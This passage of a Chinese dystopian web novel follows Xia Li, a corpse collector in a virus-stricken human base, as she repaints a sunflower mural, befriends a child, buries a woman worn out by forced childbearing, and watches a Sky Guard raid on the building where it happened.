夏荔抬头看向她,她也转头看向她,眼底红血丝深红明显,“003778999。”
这是夏荔的基地身份号。
“你是第3778999来基地的人。病毒刚爆发那几年,每年有不少人来基地报道,这两年人非常少了,你大概是去年来基地报道的……整个人类聚集区还有多少人?”
夏荔不知道。
她只知道,很少看到普通人生孩子了。
因为这个特殊的遗传规律,天空城大家族的人想通过多生有异能的孩子提高家族实力。
因为病毒Purple的可怕,普通人没有生育意愿,以前说有钱人多生,现在说特异人多生。
还有一些人想通过这个方法进入天空城。
更有很多沉默的人窥见了人类未来的悲剧和渺茫希望。
所以,没人能管,没人敢管。
悲的是,K-3区是天空城的子宫。
沉的是,K-3区是人类的子宫。
窗户上的轻叩变得密集,噼里啪啦,是水珠拍打在玻璃上的声音
——下雨了。
基地并不干燥,但很少下雨,这是夏荔第一次在基地看到雨。雨珠裹着空气里的阴霾,随风落在玻璃上,晕开一圈圈涟漪,模糊了视线,窗外的世界被水幕扭曲。
601房间的主人还在向外看着,视线好像要穿透那一层天降的模糊阴霾,眼里的红血丝看得更红,在眼底蔓延。她的眉毛很细,脸部线条并不顺畅,眉头紧皱,微凸的太阳穴紧绷时,冷郁之气自然从脸上散出,几近割人。
夏荔静默地望了片刻,从地毯上站起来,“阿姨,你是不是头疼?我给你按按?我在书上学到一点。”
过了好几秒,坐在轮椅上的女人才转头看向夏荔,对上她平静的眼眸。
柔软的上眼线上一簇簇纤长的睫毛,睫毛下的眼睛没有红血丝,没有阴霾,不带一点黄调,这样年轻的一双眼,却不会轻易被情绪和纷扰感染,始终干净又安静地注视着一切。
当夏荔的指腹按到僵硬的太阳穴上时,两人都感觉到了那里的轻颤。
按摩其实是在按摩穴位,武侠书上说,会武功的人能把内力输到穴位里,内力是一种神奇的能量,能打通人淤堵的经脉,修复人身体里的伤。
夏荔不会武功,没有内力,她只是认真地按着僵硬的穴位,手指在黑色,和黑色里掺杂的银白色头发间移动。
窗外的雨渗进了进来,落在某一处,湿漉漉的。
那双布满红血丝的眼终于合上。
601房间的主人坐在轮椅上睡着了。
夏荔回她的出租屋时,雨小了点,风依然很大,她用垃圾袋罩在头上一路小跑,经过向阳楼大门时停了下来。
黑色沉重的大门紧闭,今晚小女孩不会出来了。
向阳楼不缺钱,没有异能不能进天空城的孩子,向阳楼也会免费抚养一段时间,直到他们长到六岁。
四楼就是花哥对夏荔说的“算是吧”的幼儿园,向阳楼不会苛待孩子们,不仅有老师教他们识字,还会每天给他们发一个水果和鸡蛋。
这周的水果是橘子。
夏荔抬头看向四楼,阴暗的雨天里,那里也没有亮灯。
雨珠噼里啪啦地落在垃圾袋上,顺着下巴流进脖子里,冰凉黏腻。夏荔低头,拽了拽垃圾袋的两个拉手,把自己的脑袋更多地装进去,继续往前跑。
途径垃圾桶时,她从兜里掏出另一个干净的垃圾袋,放到有人住的那个垃圾桶里。
“我紫了吗?”身后垃圾桶里的人探身出来问她。
夏荔没有停下脚步,边跑边摇头。
跑回家后,夏荔摘下垃圾袋,又洗了个热水澡,吹干头发,驱散风雨的寒凉,暖呼呼地坐在书桌前,打开书桌上的黄铜飞碟小台灯。
还不到吃晚饭的时间,夏荔忍着饿,拿出一个记录本,想把今天的事和人记录下来。手里捏着笔,她抬头望向窗外,目光忽然凝在那里。
雨天比晴天时阴霾还严重,天还未黑已黯,窗外一眼望去是一眼望不到头的灰濛濛。
没有冲破阴霾的明黄。
向阳花被一场雨淋灭了。
那是不防水的颜料画上去的,夏荔想到了中午在向阳楼收尸的房间看到的那只画笔,笔尖干涸的黄。
她租下这间房的理由没有了。
雨珠被风吹到窗户上,迸裂成水流,被灯光照成暖黄泛紫的光斑,隔着朦胧雨滤镜,夏荔看着对面墙上已斑驳得有些脏污的痕迹,慢慢被雨水汇聚成的水流带走,一层又一层。
雨从下午开始下,持续了一整夜,整个人类基地笼罩在雨幕中,灯光如风雨下的烛火。
或许是雨水带走了一些灰尘,第二天的天空少了几分阴霾,难得地呈现明亮的蓝调。夏荔拉开窗帘,站在窗口清晰地看到对面墙上的太阳花已经凋落。
她打开窗户,探身出去向上看。
雨水冲掉了向阳花,却没能冲走她窗户上血色交叉的刀和刀下名字,血色是比明黄更坚硬的颜色。
夏荔抿了抿唇,收拾出门。
上午九点半左右,夏荔从交易所回来,刚爬上石阶就看到了向阳花墙那里的人。
昨天她在负二层收尸时见过的几个女人,有的人在扶梯子,有的人在调颜料,还有人正从向阳楼里走出来,手里拿着刷子、水桶、铲子等东西,还有夏荔没见过的女人也来了。
在负二层看到她们时,她们脸上是早已疲惫的麻木,此时,她们脸上也没什么表情,但今天阳光比雨前任何一天都要明媚些,落在她们的枯燥头发上,疲惫的眼里是
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一层有温度的橘色微光。
夏荔看着她们一起安静忙活,一点点在墙上把那棵向阳花复原,代表希望,好像能挣脱阴霾明黄色向阳花一瓣瓣绽放,她好像看到了被推进焚化炉里的女人画画的身影。
向阳花应该是在基地上一场雨之后画的,距离现在不会很久,应该是在许秋阳不能下床之前画的,距离现在不会很近。
那可能是她最后一次走出这栋楼,走出地下二层,那时候她应该已经病了,她消瘦还没有腐烂的身体,努力爬到梯子上,手里拿着那根落在阴暗房间门口的画笔,一笔笔在墙上画出那棵向阳花。
对她病中的她来说,这是一件很重的工作,她不可能一蹴而就,站在梯子上休息时,她可能会仰头看看阴霾弥漫的天空,看看K-3区墙上众生写照的涂鸦,然后把黄色用力加艳。
或许,她还会低头看看脚下的小女孩。
许秋阳的身影变成好多个女人的身影,小女孩还站在那里,仰头看着。
夏荔带着从交易所买来的东西走过去,没有任何阻隔地融入了她们,这里没有向阳楼上下、内外之分,谁都可以走过来,自发地,然后一起完成这件事。
有人在梯子上画花,有人在下面画叶,还有人拿着沾了颜料的眉笔在描摹着什么。
夏荔凑近才看到,那里蹭有人用刀刻字,之前明亮的太阳花太吸睛,这两个没有颜色的小字自然被忽略了,此时在黄色颜料的描摹下显现。
花花。
“本来她是想在这里留下女儿的名字的,可是颜料不够了,她把画笔插进裤兜,拿来美工刀在这里刻下了女儿的名字。”描字的女人说。
小女孩叫花花。
夏荔“嗯”了一声,在描字的女人身边蹲下,伸手摸了摸墙。
暖的。
今天太阳比以往清新明亮并不是错觉,它罕见地在春日把墙晒暖了。
夏荔掏出一把刀,蹲得比女人还低,在“花花”两个字下刻下了“许秋阳”三个字。
许秋阳和花花。
“以后我死了,”描字的女人看着她刻字缓缓开口,稍作停顿,说:“能不能请你为我收尸?”
夏荔转头看向她,这个年轻但枯瘦,好像身体养分已经被早早消耗光了的女人。
她说:“昨天我看着你给她收尸,我就想,如果我死了,是你那样给我收尸,死亡好像也没那么可怕了,当然我之前也不觉得死亡可怕……你给我收尸的话,大概我在世上最后弥留的时间该是开心的吧。”
“谢谢你对我的肯定。”夏荔答应了她。
梯子上的人下来了,夏荔提着油漆上去,在上面又加了一层颜色。
齐老板说这油漆是防水的,以后下雨,太阳花也不会消失了。
正午阳光最盛的时候,太阳花重新绽放在墙上,沐浴着阳光,比以往更加明艳,远远地看过去,它就是一朵在破败的K-3区长出来的太阳花。
夏荔和小女孩和之前一样坐在向阳花下。
她从上衣的兜里掏出一个苹果。上午她要从交易所出来时被齐老板叫住,齐老板把这个来自供桌上的苹果递给她,“如果不介意的话。”
夏荔把苹果掰成两半,分给花花一半。
天空蓝紫,阳光广撒。坐在高处,望着脚下远方的基地,夏荔咬了一口清脆的苹果。
很甜。
9. 第 9 章
第9章
买来的油漆还剩了些,吃完苹果后,夏荔提着油漆桶和两个刷子,身后跟着一个小尾巴,走到了向阳楼门前。
进入基地后,夏荔感觉到最大的包容来自K-3区的墙,任由人涂抹,加诸期望、愤怒和恨。在K-3区任何一面墙都可以涂鸦,这是K区和其他城区一个不同之处,是默认的给K区居民的一个宣泄口。
夏荔没有什么想抒发的,只是她不想浪费这些油漆,于是她在向阳楼大门旁边的墙上画了一个小号的向阳花。她描边,花花拿着小刷子填充颜色,一个只有花花那么高的向阳花就开在了门边。
盯着向阳花上斑驳的光影看了会儿,夏荔转身向对面的楼看去,看到了窗边坐在轮椅上的人。
夏荔:[阿姨,今天阳光很好,您看到了吗?]
[看到了。]
正午过后,交易所没那么热闹了,下一个热闹的时点在夜幕降临后。交易所的老板们在整理摊位,吃午饭,聊八卦,热闹少了些,轻轻悠闲的氛围更浓。
齐老板坐在摊子后面,夏荔坐在旁边的小马扎上,花哥蹲在她旁边。他们三人手里都端着一大碗小吃,摊子上还摆放着几样小吃——昨天的约饭。
“挺好的。”齐老板吃了一个铁板小土豆,土豆烫得他直哈气,哈完气他这么说。
“以后就可以一直叫它向阳楼了。”齐老板说:“以前那栋楼不叫向阳楼,我们都说‘那里’,有一天早上,那面墙上就有了那棵向阳花,慢慢地有人叫它向阳楼了。向阳楼总比‘那里’好。”
夏荔吃完了一盒烤包子,点点头,又拿了一盒铁板豆腐继续吃,见两人都看向自己,她说:“吃,不够再买。”
她现在也算有点小钱了,昨天去向阳楼收尸,花哥给了她2000生存点,他说助手是1000,但她不是助手,这次收尸他才是助手。
“不是够不够的问题,夏荔你吃得挺多啊?”齐老板说。
“一碗牛肉面,两块锅盔,一盒烤包子,嗯,看起来这盒铁板豆腐也很轻松?”花哥说:“这饭量赶上特异人了,夏荔你不会是特异人吧?”
特异人使用异能时身体消耗能量很大,所以吃的比普通人多。
铁板豆腐外焦里嫩,上面点缀着细碎的小葱花,可太好吃了。要是按以前,夏荔会立即回花哥的问话,现在她沉迷于铁板豆腐,慢吞吞地享受完一整块,才摇摇头,“很抱歉,我不是,我按时做日常检测,每次都是绿色。”
日常检测会显示两种颜色,绿色代表没被病毒Purple污染,紫色代表体内有病毒Purple。如果是紫色会被带去做更细致的检查,会有两种结果,一种是被病毒Purple污染,另一种是在病毒的作用下,进化出特异能力。
总之,绿色显然能说明夏荔不是特异人。
她捧着手里温热的饭盒,垂眸看着被煎得金黄焦边的豆腐,基地春寒料峭,K-3区尤其萧瑟,她的胃里是满满的暖和,“我来K-3区后就很想吃,很满足。”
第一次来交易所时,夏荔想给自己买点什么,除了书桌想不到其他的。现在她想给自己买很多很多食物,填饱肚子。
花哥吃完先起身,接着是齐老板,没多久小摊子上又多了好几盒小吃。
“很能感同身受,看着你多多吃饭就很满足,夏荔,跟你一起吃饭真的很开心。”
“能吃是福,吃,多吃!”
夏荔看着这些小吃眨了下眼,把一个暖和到烫人的烤地瓜捧在手里。
夏荔:[阿姨你想吃外面的小吃吗?铁板豆腐外焦里嫩微微辣,烤地瓜香甜软糯带焦边,小土豆用的香料是老板从基地外种的,还有烤冷面、烤包子、牛肉面……]
太阳出现的时间很短,下午不到五点就被淡紫色的阴霾笼住,只泄出几道橘黄的光。夏荔提着热乎乎的小吃从交易所向春华小区走,经过向阳楼时停下脚步,再一次向四楼看。
被暖黄灯光照亮的四楼窗口,有个小女孩正趴在那里向下看,两人对上视线。
很快小女孩从窗口消失,夏荔向前蠕动了一小步又不动了,三分钟后,她听到脚步声立即转头,看到小女孩正从里面奔跑而来,夏荔下意识地,“花花。”
夏荔带着花花去601,她原本计划是让花花在门口等她,等她送完小吃再跟花花一起走,还没进门就收到了601阿姨的消息:[带她进来吧。]
于是夏荔带着很多小吃和花花进了601。
她把小圆桌搬到窗边601阿姨轮椅所在的地方,把自己买的小吃全摆上去,看向她。
601的阿姨如花哥所说,看着有些阴郁,还住在k-3区这个贫穷混乱的地方,但夏荔总觉得她很优雅,应该吃书上说的那种高级的,量少又好看的东西,不像是会吃这种小摊小吃的。
小吃还冒着热气,601房间的主人夹了一块铁板豆腐咬了一口,缓慢地嚼了两口后,抿了下唇,加快了咀嚼的速度。
夏荔又看向花花,花花正盯着她摆在她面前的一盒小土豆,见夏荔看她,才用叉子叉住一个小土豆,小土豆每个都又圆又小,即便是花花也可以一口咬一半,吃一半拿到眼前,用漂亮杏仁眼看看,再吃一半。
夏荔假装自己没在交易所吃过,和她们一起吃。
601阿姨是个话少的人,花花更是安静得跟个小摆件一样。跟她们一起吃东西,夏荔不用说话,只要吃就好。当她拿起第三盒时,看到601阿姨的视线落在了她身上,“在交易所吃过,还能吃这么多?”
被拆穿了。
看到601阿姨若有所思的表情,夏荔默默把自己绿色的身份卡放到圆桌上,“特异人吃得多,我吃得也多,但我不是特异人。”
601阿姨说:“日常检测只是最基础的检测,主要针对于被污染的人群,有些特异人的某一时段是检测不出来的。”
“特异人吃得多,是因为他们身体某部位出现明显进化,且使用这部分带时身体消耗巨大?可我身体没有出现明显进化的部分,当然也没使用过特异能力。”夏荔解释说。
她来K-3区后饭量是明显增加,刚发现时她也怀疑过自己是不是进化成特异人了,可她的身体她自己知道,从头到脚没有任何进化痕迹,更别说她使用特异能力了。
所以,她不是特异人。
夏荔看着601阿姨说:“可能是我心情
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好了,也是我有条件多吃了,我以前很少吃饱。”
601阿姨没再说什么,继续垂眸看书,她戴着一个黑边眼镜,细黑如黑曜石的边框反射着护眼的黄调灯光,冷和暖交融。
书页翻动的声音令人安静,夏荔听着她喜欢的声音,放开了肚皮吃。花花看起来也放开肚皮吃了,她偏爱铁板小土豆,一整盒差不多都被她吃了。
吃饱喝足后,夏荔满足地开始做今天的清洁,花花跟在她身后帮她做一点小活:把扫把拿来再拿走,把垃圾袋在门口放好,把衣服放到洗衣机……为夏荔的清洁任务做了一些贡献。
离开601后,夏荔站在向阳楼门口,看着花花进了向阳楼大门。
今晚她会在幼儿园宿舍睡觉,明天在那里学认字。
傍晚夏荔偶尔带花花去601,早上或晚上夏荔做完保洁后的,也会带她去交易所买好吃的,有时候她们会在交易所吃,大多时候她们会拿回来,坐在向阳花下吃,和她们第一次见面,坐在这里吃橘子一样。
无需特意做什么说什么,看着远方基地星星点点的灯光、和日光纠缠的紫雾,吹着渐有暖意的风,安静地进食。
花花还是和以前一样分水果给她吃,向阳楼每天都会给里面的孩子一个鸡蛋和一个水果,水果种类很少,一般一周橘子接一周橙子,但这已经是K-3区稀有的新鲜甘甜了。
齐老板在交易所见她们买了几次小吃后,交易所内和周围的小吃摊最新消息总会第一时间告诉夏荔。
这天早上,夏荔一睁开眼就看到齐老板发来的消息:[交易所东门外门口今早有卖芋泥饼的!]
[芋泥这个东西又香又甜又绵特好吃,基地今年刚种出来,老板第一次来K-3区卖,今天限量一百份,每人限购两个,速来!]
夏荔拉着花花的手向前交易所跑,沉寂的K-3区被她们的脚步声一路唤醒,早上风微凉但砂砾感轻,把头发卷在脸上也无心拨开,她们只迎着朝阳,感受着逐渐蓬勃的心跳向前跑。
忽然,夏荔听到什么声音停下脚步,她不确定地回头看向小女孩。
她没有听错,花花在笑。
早上太阳没有中午那么强烈,被笼罩在灰紫色的雾霾里,K-3区还在灰败中,但是花花笑了,是婴幼儿独有的眼睛鼓鼓囊囊的月牙笑,于灰暗中刚出生的小小的朝阳。
夏荔忍不住把花花托举起来,小女孩背后就是在黯淡中更显明亮的向阳花,她就像是从里面走出来的。
“花花,你笑了。”夏荔轻声缓说。
花花举起两只细弱的胳膊,小月牙更肥了。
夏荔微张着嘴巴看着她的笑,感受到了书里写的没有污染的阳光,只需要一米,就能给人温暖,明亮和愉悦,会让人心也发烫发胀。
花花就是向阳花。
向阳花搂着她的脖子贴向了她的脸,软软的太阳气息。
最终夏荔和花花没有买到芋泥饼,她们赶过去时已经卖完了。好在齐老板和花哥都买到了,他们一人分她们一个,四人靠在还未开门的交易所大门旁的墙上,晒着不算明亮的太阳吃他们的早餐。
芋泥饼果然好吃,香甜绵软,带着奶香。
10. 第 10 章
一个芋泥饼显然不够。
一般夏荔上午没事做,因为601阿姨保洁需求很大,几乎每天晚上她都要去,夏荔除了花哥偶尔带她收尸,没有再接其他工作——这些生存点就够她花的了,她想把更多时间留给自己。
所以花花去幼儿园后,夏荔就在这悠闲地听齐老板和花哥聊天到吵架,等交易所开门,她再进去买个煎饼果子吃。
交易所里有一个卖煎饼果子的老板,听齐老板说是整个基地唯一一个煎饼果子里既有薄脆又有油条的,煎饼上不但有鸡蛋,只要加生存点,还有老板私藏的芝麻和秘制酱。
夏荔加了两个鸡蛋,两片薄脆,一根油条,一根烤肠,一片大里脊,还有早上刚做的辣条。薄脆酥脆,油条看着软但有筋骨,鸡蛋液融入煎饼中,在铁板上滋滋变成白黄带焦,在上面撒上一层黑芝麻,涂上棕红秘制酱。
当老板把胀鼓鼓冒着腾腾香气的煎饼果子递到夏荔手里,夏荔感觉到了由内而外的满足。
这种满足连花哥都感受到了,有些奇怪,夏荔很安静,但他能感受到她丰盈的满足,K-3区,可能整个基地都很少有的满足情绪,这满足能传递,会感染人,要不是她的煎饼实在塞不下了,花哥真的很想让老板再给她加一把炸鸡柳。
老板看着她,又低头看自己摊位上的东西,看起来好像也想再给她加点东西。
花哥也买了一个煎饼果子,只不过和夏荔那个比起来细瘦很多。
两人一起向外交易所外走,经过齐老板的摊子时,看到齐老板又偷偷摸摸拉着一个人看大货。不知道这次的大货又是什么。
夏荔说:“齐老板的大货有好多大货啊。”
花哥笑了一声,“他是有些门路的,跟很多雇佣兵小队有联系。你别看他整天胡乱要价,他可是整个K区所有交易所里最赚钱的人,是个小老富豪。”
基地刚建立之初,各种资源紧缺,尤其是天空城上一些部门急需一些资源,于是他们会雇佣一些人去基地外寻找,这是基地最初雇佣小队的雏形。
后来基地特异人增多,资源供应跟上了,十几年后无人管理的基地外,一些生活资源也不能用了,慢慢雇佣小队接到的活少了,他们开始自己在基地外寻找基地没有的东西,带回基地交易。
齐老板大概就是从他们手里买到的一些大货,不仅是和天空城有关。
夏荔又看了眼齐老板一脸憨厚,笑眯眯的眼,真心感叹道:“齐老板真厉害。”
“夏荔说他厉害,那他确实厉害。”花哥也朝那边看,“不知道是不是最近又发财了,这两天经常看到他笑,以前他很少笑。”
两人走出交易所后,花哥问下夏荔:“你上午有什么安排?”
夏荔:“回去看书。”
花哥想到夏荔那一箱子书,“你那些书是不是都看完了?”
夏荔本想一问一答地说“看完了”,她想到花哥不管她的什么问题,每次都很全面贴心地回她,于是她具体说:“都看过好多遍,我等下回去要第21遍看一篇研究高通量测序中病毒识别方法的论文。”
花哥停下脚步,眼里一片茫然。
夏荔没看明白这茫然,“我也不全是翻看旧书,601阿姨送给我一本书,我只看了两遍,跟新的一样,以后还可以看。”
花哥不大懂,只能点头,“……那挺好。”
花哥没有耽误夏荔第21遍看书,他也要去K-3区墙门那里接活。只是他没走几步就停下了,转头对夏荔说:“抱歉夏荔,今天上午你或许没法看书了,向阳楼里又死了一个人,她好像指定了要让你为她收尸。”
夏荔想起了那天上午一起画向阳花的枯瘦女人。
夏荔吃饭很慢,她最近饭量大增,但咀嚼和下咽食物速度还是挺慢,和小时候一样,即便如此,一口一口地,走到向阳楼旁的台阶时,夏荔的煎饼果子已经吃完了。
她用纸巾擦了擦手和嘴,回来的路上第一次开口,“花哥,她是怎么死的?”
早已经吃完的花哥说:“自杀。”
可是她们明明才一起画完向阳花没多久,重画向阳花,不是要怀着希望努力地好好活下去吗。
“三个月前,她刚生下她第六个没有异能的孩子。”花哥说。
女人枯瘦的,好像被过早耗光能量的身体再次出现在夏荔的脑海,她不懂,“为什么?”
“最初当然是想带着家人去天空城。”花哥说:“她生了三个孩子都不是特异人,三个小小的未来很难在K区活下去的孩子站在她面前,她没有办法,她把希望寄托在第四个孩子身上,跟特异人生下特异人的概率那么高,第四个总归是特异人了吧。只要四个孩子是特异人,她就可以带着另外三个孩子一起去天空城。”
“只要生下的第五个孩子是特异人,她就能带着另外四个孩子去天空城了。”
“只要生下的第六个孩子是特异人,她就能带着另外五个,包括已经被赶出太阳楼的孩子去天空城了。”
由痛苦和绝望组成的黑幕下,她只有一条路能走,那条路前面有黑幕里唯一一线光,她只能向着那线光一直一直走下去,走下去。
最终她终于走不动了,走到了她的终点,那线光也消失了——她闭上了眼睛。
夏荔手指在她眼皮上抚过,指腹轻揉稀疏的眉毛。上次见面她说,如果是她给她收尸,她在人世上最后一点时光应该是快乐的。
不知道她在人生这最后一步,是否真的得到了快乐和安宁。
夏荔希望是的。
再见,万娇娇。
夏荔给万娇娇收尸时,万娇娇的孩子们和花花都在一边看着,刚出生三个月那个小婴儿,由一个女人从楼上抱下来。
在向阳楼里,刚来备孕和怀孕的女人,以及所有孩子不管有没有异能都住在楼上,没有生出特异人孩子,还想在向阳楼的女人,都住在地下二层和一层。
当住在地下的女人死亡时,女人的孩子是被允许下去看最后一眼的。
那个三个月大的婴儿望着被塑料薄膜裹住的女人,懵懂地“咿呀”了一声。
在这道“咿呀”中,花哥抱起了女人。
和上次一样,夏荔拉行李箱和黑色垃圾袋。正要走时,花花拉住了她的手。
夏荔以为她又要给自己橘子,可她没给橘子,就是拉着她的手。
“把行李箱和垃圾袋放在门口,我来送到焚化车上,你留下陪她一会儿吧。”花哥见状说。
夏荔点点头,“辛苦花哥。”
花哥和抱着孩子的女人走后,花花才从兜里掏出整整齐齐叠成正方向的纸递给夏荔。
夏荔摘下手套,用酒精湿纸巾擦了一遍手,接过,打开。
《死亡yueding书》
deng你六岁时,我来接你。
deng我六岁时,你来接我。
我们一起去死。
不要怕。
qian名:王高空、李晴晴、张天、孟明、刘jing化……
看着纸张那些稚嫩的、用拼音组成的、用小手印代替的满满的签名,夏荔抿住了唇。
“谁给你的?”夏荔问花花,上面还没有花花的名字,应该是有人给花花,让她签名,或者问她要不要签。
花花指了指门外靠墙坐的男孩。
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万娇娇住在地下二层最末尾的房子里,她的房间外就是走廊尽头。向阳楼建在K-3区地势较高的地方,即便地下二层,在走廊尽头也有一个方方正正的小天窗,能引入一块阳光。
小男孩就靠墙坐在小天窗下面,他身边还有三个小孩,都是万娇娇的孩子。
夏荔走过坐在小男孩身边,花花跟着坐在她身边。
“你是不是看到了外面墙上污染互助中心那句话?”夏荔问小男孩。K-3区外面墙上有各种各样的涂鸦和小广告,夏荔来K-3区第一天就看到了污染互助中心的标语。
污染互助中心,有死亡搭子上路不悲凉。
一个互助中心,寻找的是死亡搭子。这并不奇怪,被污染后,如果没有进化出异能,死亡是必定结局。这些被污染的人的互助,是在注定死亡的路上互相陪伴,让死亡没有那么可怕和悲凉。
所以,夏荔以为小男孩是看到了污染互助中心的标语。
“看到过。”果然,小男孩低头看着自己的脚尖,说:“姐姐六岁离开向阳楼就死了,妈妈说我们的寿命只有六岁。等我们到了六岁就一起死不好吗?就像我们一起在四楼认字一样,一起的话,死亡也不可怕吧?”
“就是,要辛苦姐姐一次收那么多尸体了。”
夏荔看着纸上那么稚嫩的名字的小手印,忽然不知道该说什么。
“啊呀。”
那张沉沉的静默的纸,被一个一岁小男孩的头顶开,他抓着夏荔的袖子爬到她身上,紧贴着她的脖子,“啊呀~”
乱爬的小男孩带了个头,又有一个两岁多的女孩踉踉跄跄地跑过来贴住了她,待在阴冷的地下二层很久,她的手和脸也很冷,像是要从夏荔汲取温暖一样,紧紧贴抱着她。
旁边的花花抱住了她的胳膊,腿也被一个小孩抱住了,另一边最大的男孩,好一会儿,头碰到了她的另一只胳膊。
夏荔像个猫爬架兼猫薄荷,六个年龄不同但都不超过六岁的孩子像个六个小猫,在她身上寻找可以栖息的地方,将头和脸深深在她身上。
被柔软稚嫩的生命贴住,夏荔抬头看向那个方方正正的天井窗,阳光透过阴霾,再透过两层玻璃照进来。
书中形容以前的太阳为烈日,形容阳光为金光和白光,听起来热烈而灿烂。现在的阳光也很好,至少,它不刺目,迎着它看很久也不会流泪。
夏荔:“不要死。”
“啊呀~”
花花:“不要死。”
“不要死。”
“不要死。”
“不要死。”
“不要死。”
阴暗潮湿的走廊里回荡这句话。
“不要死。”夏荔说一句,她的声音干净而平静。
“不要死。”孩子们跟着说一句,她们的声音稚嫩又清脆。
花哥送完万娇娇的尸体,回来拿垃圾袋时看到孩子们紧贴在夏荔身上,跟着夏荔重复这句话,一句接一句。
他拿着垃圾袋穿过长长的走廊向外走,知道走廊里不仅有这句话,还有哭声,从走廊旁某个房间,或很多房间微弱地透出。
花哥每次见到夏荔都很开心,不是多热烈的高兴,是内心平静的愉悦,继而他会笑,不是用他再熟悉不过的学到的技巧笑,而是自然地笑。
后来,他在齐老板身上也看到了这样的笑。
他以为夏荔会让人笑,没想到她还很会让人哭。
走廊里细微的哭声中传出越来越多的“不要死”,声音并不平静,也不清脆,可能都听不清,落在地面的苔藓里,飘进墙面的霉斑里,在幽长的走廊里滴滴成流。
“不要死。”
11. 第 11 章
第11章
从向阳楼出来后,夏荔又去交易所吃饭。
她饿,很饿。
交易所正是生意好的时候,夏荔没到齐老板的摊子那里去,一个人坐在面摊上吃牛肉面,她加了超大量的牛肉,老板跟她说因为她要的肉多,面可以无限续。
老板自己擀的面筋道可口,夏荔吃了三碗,吃完差不多饭点过了,她才去齐老板那边卖狼牙土豆的摊子,买了两份狼牙土豆和铁板豆腐,又买了两个大鸡腿,去找齐老板。
齐老板正好刚忙完,开心地搬了两个椅子跟夏荔一起吃午饭。
夏荔慢悠悠地吃着土豆,问齐老板:“齐老板,向阳楼里的孩子特异人和非特异人的比例大概有多少啊?”
“我不太清楚,大概十个里面有八个特异人,两个非特异人吧。”齐老板说:“你要是很想知道,还是问花哥吧,那个小灵通比我清楚。”
“8比2。”夏荔喃喃:“要是两个非特异人孩子会死,牺牲他们换来八个特异人孩子,是对的吗?”
“可能对,可能不对。”齐老板吃了一大口鸡肉,说的:“我不知道,我只知道我今天赚了多少钱。”
夏荔说:“我也不知道。”
她也低头啃鸡腿。
吃完午饭回去时,夏荔看到一个穿着考究的西装四件套,三十岁左右的男人正从向阳楼里出来。
这不是夏荔第一次看到男人从里面出来了。
之前她问花哥,如果天空城大家族的人想要更多特异人,只有男人在努力开枝散叶吗。花哥知道她的意思,跟她说大家族的女人会不会他不知道,但她们一年最多生一个孩子,而且她们在天空城就能生,不用找天空城之外的人。
而男人,没有时间限制,没有生育损伤。
这句话,夏荔下意识抗拒往深了想,但她经常会看到男人从向阳楼里出来,或者走进向阳楼。
那个男人也看到了她,盯着她看了十几秒,转头又回了向阳楼。大门没关,男人和里面一个女人在说什么,两人一起看向她,一个眼眸微动,一个暗含打量。
夏荔回看过去,眼睛如无风的海面,纯净没有一丝情绪波澜。
向阳楼的黑色大门在她面前关合。
夏荔没把这件事当回事,直到晚上她给601阿姨打扫完卫生,看到传呼机上有两条花哥的消息。
一条来自40分钟前:[夏荔,向阳楼的人问你想不想去天空城,他们说只要你生一个孩子,不管是不是特异人,就可以去天空城。]
一条来自20分钟前:[夏荔,你在哪里?在春华区做保洁吗?我去接你,别一个人回去。]
20分钟过去了,花哥还没来,也没发消息过来。
夜里起了风,在窗户上留下细弱的呜咽声。601的阿姨已经在卧室床上睡着了。夏荔轻声走出卧室关上门,走到客厅窗口拉开窗帘。
这栋楼和向阳楼面对面,中间隔着一百多米的距离,向阳楼前面有一个很小的广场,路边灯光通明,照亮了围满小广场的维安队的人。
维安员们不像平日在K-3区时那么松散,一个个站得笔直,严阵以待。或许是平日里懒散惯了,这样笔直的站姿撑不住多久,也许是别的原因,他们中有不少人额头带汗,还有人腿在抖。
和他们形成鲜明对比的,是站在他们内层的一圈人。他们也穿着和维安队一样的藏蓝制服,和维安队不同的是,他们的肩章是紫色的。他们每一个人腰间装着两把不同的枪,都站得如扎根岩石中的松,夜雾也挡不住他们面容的严肃和冷冽。
他们围住的中心,半圆的空地上只站着一个人,一个没有穿任何制服的男人。
站在中心位的男人只穿了一条黑色休闲裤和宽松的灰衬衫,和其他穿着整齐的人对比显得有些松散。他面向向阳楼的大门,夏荔看不见他的脸,只看到他左手对着天空举起一个黑色的转轮手枪,手指苍白如雪。
夜风猎猎吹着他的袖子,放在扳机上的手指向下一扣。
“嘭!”
硝烟起,一朵硕大明亮,但给人带来巨大不安的紫色烟花在K-3区上空炸开。
因超级病毒Purple,紫色成了最不详的颜色,普通人中几乎没人用紫色,只有一批人——空卫司。
紫色的烟花是空卫司的信号弹,当它在空中炸开时,代表空卫司行动,闲杂人退散。令人抗拒想远离的紫色当他们信号弹的颜色正合适。
维安队内里站着的一圈人是空卫司的人,来自天空城的空卫司。
上午看到那个穿西装的男人急匆匆从向阳楼跑向中心持枪的男人,着急地跟他说着什么。持枪的男人把玩着手里的抢,垂眸漫不经心地听着。
当那个男人说完后,他再次伸手,向着向阳楼轻轻挥了一下,轻得像是拨开前面一缕轻烟迷雾,空卫司的人立即从他两边如两道黑流冲进向阳楼,向阳楼那扇黑沉沉的大门被轻易踹开,卷着砂砾的萧瑟夜风吹进封闭温暖的香气里。
夏荔意识到了什么,她立即回头,没看到601阿姨的身影。她在卧室睡着了,没起来看。
那天她坐在这里说的话还在耳边,“没人敢管,没人能承担得起这沉重的……”
夏荔很想让阿姨看看,好像有人来管了。
可是花哥说阿姨一直失眠,难以合眼的她眼里长满红血丝,脾气阴郁恶劣。她最近好不容易能睡个好觉了,连夏荔都能感觉到她睡着后的安谧,她枯竭的身体和灵魂都在被急缺的安眠滋养。
正在夏荔犹豫时,一道愤恨的声音传进了她的耳朵中。
“凌司渊你这个疯子!”
那声音那么狰狞锐利,紧闭的窗户挡不住,夜风挡不住,只能成为它的助力,吹向K-3区远处,撞到墙上疯狂的涂鸦上。
空卫司的人从向阳楼里带出一批接一批女人和小孩,这句话响起时,中心持枪的男人手指正放在一个小男孩额头上,紫色的指印留在男孩的额头上,又消失。
西装男人还在狰狞地说着什么,夏荔打开窗户,那男人的话已经说完了,一个女人的嘶喊响起:“我们要去天空城!”
“我们要去天空城!”
“我们要去听空城!”
一声接一声,愤恨的、悲怆的、绝望的、祈求的……
伴随着小孩惊恐又懵懂的哭声,成了今晚K-3区的主调。
站在哭声和喊声中心的男人忽然回头,夜风把他的额发吹开,黑发从眼上丝丝划过,露出了一双深紫色的眼睛。
风还在吹,漫天灰紫色的阴霾,不计其数的病毒Purple好像都被吹到了他身上,凝聚于他的眼里。
